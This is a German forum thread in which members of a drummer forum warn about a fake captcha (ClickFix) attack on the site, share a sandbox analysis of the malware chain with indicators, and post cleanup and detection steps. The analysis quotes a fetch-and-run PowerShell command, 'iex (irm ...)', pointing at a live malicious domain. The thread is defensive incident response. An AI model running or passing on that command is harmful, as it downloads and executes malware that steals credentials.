Warnung! Captcha fordert auf drummerforum.de zum Ausführen einer Powershell auf dem PC auf (sieht gefährlich aus)

Ja, hatte ich auch.

Gemini meint:

"Drücken Sie die Tastenkombination Strg + F5 (unter Windows) bzw. Cmd + Shift + R (unter macOS). Dadurch wird ein kompletter Hard Refresh erzwingt, der die Seite neu vom Server lädt und alte Daten verwirft.

Alternativ (Gründlicher): Gehen Sie in Ihrem Browser in die Einstellungen -> Datenschutz und Sicherheit -> Browserdaten löschen und löschen Sie gezielt den Cache und die Cookies für drummerforum.de.Verification: Nach dem Neuladen der Seite darf das künstliche "Ich bin kein Roboter"-Fenster mit der Aufforderung zum Drücken von Tastenkombinationen nicht mehr auftauchen."

fwdrums

Nur Javascript deaktivieren konnte bei mir dieses capctha ausblenden. Klassischer ClickFix Angriff, z.B. über eine Werbeanzeige oder eine SIcherheitslücke eingeschleustes Javascript.

Kam bei mir eben auch.

Nach mehrerem aktualisieren war die Meldung weg.

Jep, fake captcha, passt auf Leute! Ja nix in die Powershell geben.
Was das Ding kopieren will sieht so aus:

bei mir kam nix, windoof-rechner... aber ich bin immer automatisch eingeloggt, vielleicht kommt das nur, wenn man sich immer wieder ausloggt?

Ich habs auf dem Rechner aber nicht auf dem Mobilgerät.

Ich musste auch 2x machen. Jetzt ist es weg.

Hat sich jetzt was auf meinem Rechner installiert?

Muss ich was machen???

Ich habe das mal schnell in einer Sandbox analysiert und eine kurze Zusammenfassung (mit Hilfe von AI ) erstellt was das Teil tun wollte. Es scheint nur WIndows Systeme als Ziel zu haben, das Ganze funktioniert so nicht auf anderen Plattformen.

Short version:

1. Lure. A fake “verify you’re human” page copies a command to your clipboard and tells you to paste it into Win+R.
2. Clipboard command. Obfuscated PowerShell that boils down to iex (irm fujibildern.online/i): download a script and run it in memory.
3. Dropper (/i/). Writes %TEMP%\DrvUpdate_*.ps1 and runs it hidden through a scheduled task that deletes itself, which hides where it came from.
4. Installer. Waits 20 seconds, downloads a ZIP from /g.php, extracts it to a random folder in your user profile, deletes the ZIP, and launches GitHubDesktop.exe through a DriverUpdate* task.
5. Payload. A real GitHub Desktop (Electron) app with its code swapped for malicious Node.js. It profiles the PC (name, machine ID, location), sets up autostart in the registry, and checks in with ppretty-pictures.blog, its command server.

Likely goal: stealing passwords, cookies, and crypto wallets, or remote control. The exact family is unknown.

Key IOCs: fujibildern.online, ppretty-pictures.blog, GitHubDesktop.exe in a random user folder, scheduled tasks named DriverUpdate*.

Falls das irgendwer gemacht hat trennt sofort euren Windows Rechner vom Internet. Ich kann bei Bedarf Infos nachreichen auf was man achten sollte falls man glaubt man könnte da reingefallen sein. Solang man aber nichts in dieses Fenster mit WIndows + R reinkopiert hat, sollte aber auch nix passiert sein.

lg

Zitat von DRUMmaniac

Hat sich jetzt was auf meinem Rechner installiert?

Muss ich was machen???

Nur wenn du der Anleitung in dem Fake Captcha auch gefolgt bist und was ausgeführt hast, sonst nein.

lg

burned_destroyer Es wäre sehr cool, wenn Du da etwas mehr drin bist, ne Anleitung zum Löschen zu erstellen.

Mich hat schon eine Nachricht von einem User erreicht, der das wohl ausgefüllt hat...

Und hat jemand die Nummer von einem Admin von hier??? Den sollte man schleunigst telefonisch oder wie auch immer erreichen, dass er das fixt oder die Seite vom Netz nimmt.

Zitat von Fl0gging

Es wäre sehr cool, wenn Du da etwas mehr drin bist, ne Anleitung zum Löschen zu erstellen.

Hab zwei Kollegen schon die Info geschickt.

Also, wenn wer das Ganze ausgeführt hat, sollte das damit gehen: 

Zuerst: Sicherheit



Trennen Sie den PC vom Internet (Kabel ziehen oder WLAN ausschalten).

Geben Sie auf diesem PC keine Passwörter ein, bis er bereinigt ist.

Nutzen Sie ein anderes Gerät (Handy oder anderen PC), um Ihre wichtigen Passwörter zu ändern: zuerst E-Mail, dann Bank, Online-Shops, soziale Netzwerke und Arbeitskonten. Melden Sie sich bei jedem Konto von allen Sitzungen ab. Aktivieren Sie die Zwei-Faktor-Authentifizierung. Wenn Sie Krypto-Wallets auf dem PC hatten, verschieben Sie das Guthaben in eine neue Wallet.



Beste Lösung: Windows zurücksetzen

Die Schadsoftware könnte weitere schädliche Programme nachgeladen haben. Nur ein vollständiges Zurücksetzen gibt Ihnen Gewissheit.



Sichern Sie nur persönliche Dateien (Fotos, Dokumente). Sichern Sie keine Programme oder .exe-Dateien.

Öffnen Sie Einstellungen → System → Wiederherstellung → Diesen PC zurücksetzen.

Wählen Sie Alles entfernen.

Installieren Sie danach alle Windows-Updates und Ihre Programme neu, nur aus offiziellen Quellen.



Wenn ein Zurücksetzen nicht möglich ist: manuelle Bereinigung



Programm beenden. Öffnen Sie den Task-Manager (Strg + Umschalt + Esc), klicken Sie mit der rechten Maustaste auf GitHub Desktop und wählen Sie Task beenden. Wiederholen Sie das für jeden GitHub-Desktop-Eintrag.

Aus dem Autostart entfernen. Öffnen Sie im Task-Manager Autostart-Apps, klicken Sie mit der rechten Maustaste auf GitHub Desktop und wählen Sie Deaktivieren. Um es vollständig zu entfernen, drücken Sie Windows-Taste + R, geben Sie regedit ein, gehen Sie zu HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run und löschen Sie den Eintrag, der auf GitHubDesktop.exe verweist.

Geplante Aufgaben löschen. Öffnen Sie die Aufgabenplanung, klicken Sie auf Aufgabenplanungsbibliothek, klicken Sie mit der rechten Maustaste auf jede Aufgabe, die mit DriverUpdate beginnt, und wählen Sie Löschen.

Dateien löschen.

Den zufällig benannten Ordner in C:\Benutzer\\, der GitHubDesktop.exe enthält

Drücken Sie Windows-Taste + R, geben Sie %TEMP% ein und löschen Sie alle Dateien namens DrvUpdate_...ps1

Drücken Sie Windows-Taste + R, geben Sie %APPDATA% ein und löschen Sie den Ordner GitHub Desktop (nur wenn Sie GitHub Desktop nie selbst installiert haben)

Offline-Scan durchführen. Öffnen Sie Windows-Sicherheit → Viren- & Bedrohungsschutz → Scanoptionen, wählen Sie Microsoft Defender Antivirus (Offlineüberprüfung) und klicken Sie auf Jetzt überprüfen. Der PC startet neu und prüft das System, bevor Windows lädt.

Neu starten und erneut prüfen, mit der Anleitung zur Erkennung. Alles sollte verschwunden sein.

(Und ja ich hab den Text generieren lassen, aber inhaltlich gecheckt ) Das wichtigste ist mal schnell zu reagieren sollte man betroffen sein.

Vielen Dank Burned Destroyer für die raschen Tips.

Ich habe nix ausgefüllt, weil es für mich sofort seltsam roch. Was mir als Laie aber sofort in den Sinn kam: ist die Drummerforum-Seite gehackt worden? Denn wie kann sich denn da solch ein Captcha-Screen auftun?

Zitat von Drumstudio1

Ich habe nix ausgefüllt, weil es für mich sofort seltsam roch. Was mir als Laie aber sofort in den Sinn kam: ist die Drummerforum-Seite gehackt worden? Denn wie kann sich denn da solch ein Captcha-Screen auftun?

Das ist die Gretchenfrage, das können leider nur die Admins beantworten. Ich habe die Fake Captcha Aufforderung aber auch seit heute morgen nicht mehr gesehen.

Wie kann man denn überprüfen ob man befallen ist? Einfach im Explorer nach der Github.exe suchen?

Zitat von AAXplosion

Wie kann man denn überprüfen ob man befallen ist? Einfach im Explorer nach der Github.exe suchen?

1. Erinnern Sie sich. Hat eine Website Sie jemals aufgefordert, die Windows-Taste + R zu drücken, etwas einzufügen und Enter zu drücken, etwa um „zu bestätigen, dass Sie kein Roboter sind“ oder „einen Fehler zu beheben“? Wenn ja, prüfen Sie weiter. Wenn Sie sicher sind, dass das nie passiert ist, ist Ihr PC sehr wahrscheinlich sauber.


2. Suchen Sie nach einem seltsamen Ordner. Öffnen Sie den Datei-Explorer und gehen Sie zu C:\Benutzer\ und dann zu Ihrem Benutzernamen. Suchen Sie nach einem Ordner mit einem zufälligen Namen aus Buchstaben und Zahlen, z. B. qm8ml4iwuw92. Enthält er die Datei GitHubDesktop.exe, ist Ihr PC infiziert.


3. Prüfen Sie laufende Programme. Drücken Sie Strg + Umschalt + Esc, um den Task-Manager zu öffnen. Wenn dort GitHub Desktop läuft, Sie es aber nie installiert haben, oder es aus diesem zufälligen Ordner läuft, ist das die Schadsoftware. Klicken Sie mit der rechten Maustaste darauf und wählen Sie Dateipfad öffnen, um zu sehen, wo es liegt.


4. Prüfen Sie den Autostart. Öffnen Sie im Task-Manager die Registerkarte Autostart-Apps (in manchen Versionen nur Autostart). Steht dort GitHub Desktop, obwohl Sie es nicht installiert haben, ist das ein Warnsignal.


5. Prüfen Sie geplante Aufgaben. Drücken Sie die Windows-Taste, tippen Sie Aufgabenplanung ein und öffnen Sie sie. Klicken Sie auf Aufgabenplanungsbibliothek und suchen Sie nach Aufgaben, die mit DriverUpdate beginnen, gefolgt von zufälligen Buchstaben.

Bei Fragen oder Unklarheiten einfach melden.

Zitat von nils

Ich habs auf dem Rechner aber nicht auf dem Mobilgerät.

same here

Zitat von burned_destroyer

Das ist die Gretchenfrage, das können leider nur die Admins beantworten. Ich habe die Fake Captcha Aufforderung aber auch seit heute morgen nicht mehr gesehen.

Unter Windows ist bei mir die Captcha Aufforderung gerade jetzt immer noch da, auch nach Cache leeren etc.

Bei mir ist das nicht erschienen. Bin mit nem IPad hier.

Captcha kommt bei mir unter Win auch.

War das so eine Abfrage, dass man kein Roboter ist?